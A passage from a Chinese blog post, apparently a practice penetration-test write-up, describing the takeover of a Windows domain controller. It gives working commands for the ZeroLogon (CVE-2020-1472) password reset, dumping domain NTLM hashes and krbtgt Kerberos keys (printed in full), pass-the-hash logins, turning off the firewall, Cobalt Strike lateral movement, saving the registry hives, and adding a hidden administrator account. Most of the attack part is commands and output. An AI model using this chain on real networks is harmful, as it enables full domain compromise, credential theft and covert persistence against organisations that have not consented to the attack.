    • 250
    • 251
    • 252
    • 253
    • 254
    • 255
    • 256
    • 257
    • 258
    • 259
    • 260
    • 261
    • 262
    • 263
    • 264
    • 265
    • 266
    • 267
    • 268
    • 269
    • 270
    • 271
    • 272
    • 273

    收集域控信息

    上面忘记说了,每拿到一台主机都可以 使用 ipconfig /all 查看一下是否存在域

    并且每拿到一台主机都可以尝试抓取明文密码可能会存在某种规律或者后期横向渗透也可以使用 hash 进行碰撞。

    这里收集域信息我们可以使用 cs 自带的命令

    image-20220825185204191

    这里我们可以通过 ping 域名来获取域控的ip地址

    image-20220825185759530

    可以看到域控的ip地址为 10.10.10.139,与我们之前的扫描结果也一样。

    ZeroLogon CVE-2020-1472 攻击域控 获取域权限

    下载 https://github.com/leitosama/SharpZeroLogon 进行编译执行 测试存在该漏洞

    shell SharpZeroLogon.exe ad01.sec123.cnk
    
    • 1

    image-20220825190504907

    测试存在漏洞!

    置空域控密码

    shell SharpZeroLogon.exe ad01.sec123.cnk -reset
    
    • 1

    image-20220825190704681

    成功置空密码

    使用 secretsdump.py 导出域Hash

    这里的域控是属于内网的别忘了设置代理

     proxychains4 python3 secretsdump.py sec123/ad01\$@10.10.10.139 -no-pass
    
    • 1

    image-20220825191233729

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b20eb34f01eaa5ac8b6f80986c765d6d:::
    sec123.cnk\cnk:1108:aad3b435b51404eeaad3b435b51404ee:83717c6c405937406f8e0a02a7215b16:::
    AD01$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    SERVER2012$:1109:aad3b435b51404eeaad3b435b51404ee:2b9b6e1af2888d0ac86ee19375bf7f0e:::
    [*] Kerberos keys grabbed
    krbtgt:aes256-cts-hmac-sha1-96:ec150c0499e85cbe28564794889d443a573ec0d52124f0244edcd84e82d366fb
    krbtgt:aes128-cts-hmac-sha1-96:2e09e8b4a4599c9d8a5fe20241e5a199
    krbtgt:des-cbc-md5:79a404137ff440f1
    sec123.cnk\cnk:aes256-cts-hmac-sha1-96:b3beca060a69eaa1605f5eeb1071e9246bbdb7dbc1e1b36d7e581bc0eb99bc18
    sec123.cnk\cnk:aes128-cts-hmac-sha1-96:6f7290694acb2ab9c0258e28297eeb65
    sec123.cnk\cnk:des-cbc-md5:08e023677c29b63b
    AD01$:aes256-cts-hmac-sha1-96:8dd6247d4a338326980fb1bc9ff1947a2e830ec4619ca3f82b5c3a04c22a9a9d
    AD01$:aes128-cts-hmac-sha1-96:37710a53f5338f1e47707d7784b5cee8
    AD01$:des-cbc-md5:e9f140b3f297f2bf
    SERVER2012$:aes256-cts-hmac-sha1-96:b3fa56f1f664833512d67cd25d0a46d2bbaaeabb6f8a9274aa852697227a39be
    SERVER2012$:aes128-cts-hmac-sha1-96:096ee0570f75b38ceb7fb7a4ad3e7f50
    SERVER2012$:des-cbc-md5:1ca4048551daf81f
    [*] Cleaning up... 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    使用 wmiexec.py 或者 psexec.py 登录域控

    这里同样别忘了代理。

    proxychains4 python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74 sec123/Administrator@10.10.10.139
    
    • 1

    image-20220825191941213

    成功获取到域控的权限

    域控上线 cs

    首先我们先关闭防火墙,防火墙会禁止我们的很多操作。

    netsh advfirewall show allprofiles      		# 查看防火墙状态
    netsh advfirewall set allprofiles state off 	# 关闭防火墙
    
    • 1
    • 2

    cs 生成正向 shell

    image-20220826143048586

    使用 pth 建立连接

    pth sec123\Administrator 81220c729f6ccb63d782a77007550f74 
    
    • 1

    image-20220826144457664

    上线cs

    jump psexec64 10.10.10.139 bind_tcp
    
    • 1

    image-20220826144812016

    恢复置空的密码

    shell reg save HKLM\SYSTEM c:\system.save
    shell reg save HKLM\SAM c:\sam.save
    sehll reg save HKLM\SECURITY c:\security.save
    
    • 1
    • 2
    • 3

    使用这三个命令导出这三个文件并下载

    使用 impacket 工具包中的 secretsdump.py 读取出 $MACHINE.ACC 的 Hash 。

    python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
    
    # $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:8c8be1b1f3136f1e13cbe18c19ad1b5d
    
    • 1
    • 2
    • 3

    image-20220826150359276

    使用 zerologon 工具恢复密码*

    脚本下载地址:https://github.com/risksense/zerologon

    还是使用 代理 去访问域控

    proxychains4 python3 reinstall_original_pw.py ad01 10.10.10.139 8c8be1b1f3136f1e13cbe18c19ad1b5d
    
    • 1

    image-20220826151741794

    远程RDP登录域控

    使用命令添加一个隐藏用户

    shell net user admin$ admin@123. /add  && net localgroup administrators admin$ /add
    
    • 1

    代理 xfreerdp 连接域控

    proxychains4 xfreerdp /u:admin$ /p:admin@123. /v:10.10.10.139 /cert-ignore
    
    • 1

    image-20220826154302479

    总结

    项目难点:

    • jsp 代码审计编写解密脚本

    使用技术以及注意项:

    • frp 端口映射的使用

    • fscan 内网扫描器的使用

    • cobalt strike 的使用

    • hydra 爆破神器的使用

    • 1433 MSSQL 爆破

    • MSSQL 执行cmd命令

    • Windows 提权

    • ZeroLogon 置空密码并恢复

    • 代理的使用

    做项目可以巩固我们所学的知识,并且可以增加实战能力,在以后的实战中会更加的得心应手。

  • 相关阅读:
    【云IDE】CSDN云IDE的初探以及实战操作
    5款必备的电脑软件
    k8s--基础--22.3--storageclass--类型--GCE PD
    大家都能看得懂的源码之ahooks useInfiniteScroll
    全新骁龙7系移动平台带来出色的性能和能效,以及多个7系层级首次支持的特性
    勒索病毒LockBit2.0 数据库(mysql与sqlsever)解锁恢复思路分享
    手动快速批量修改文件名
    Redis实现消息队列
    SpringCache缓存处理
    设计数据库
  • 原文地址:https://blog.csdn.net/qq_53742230/article/details/126545434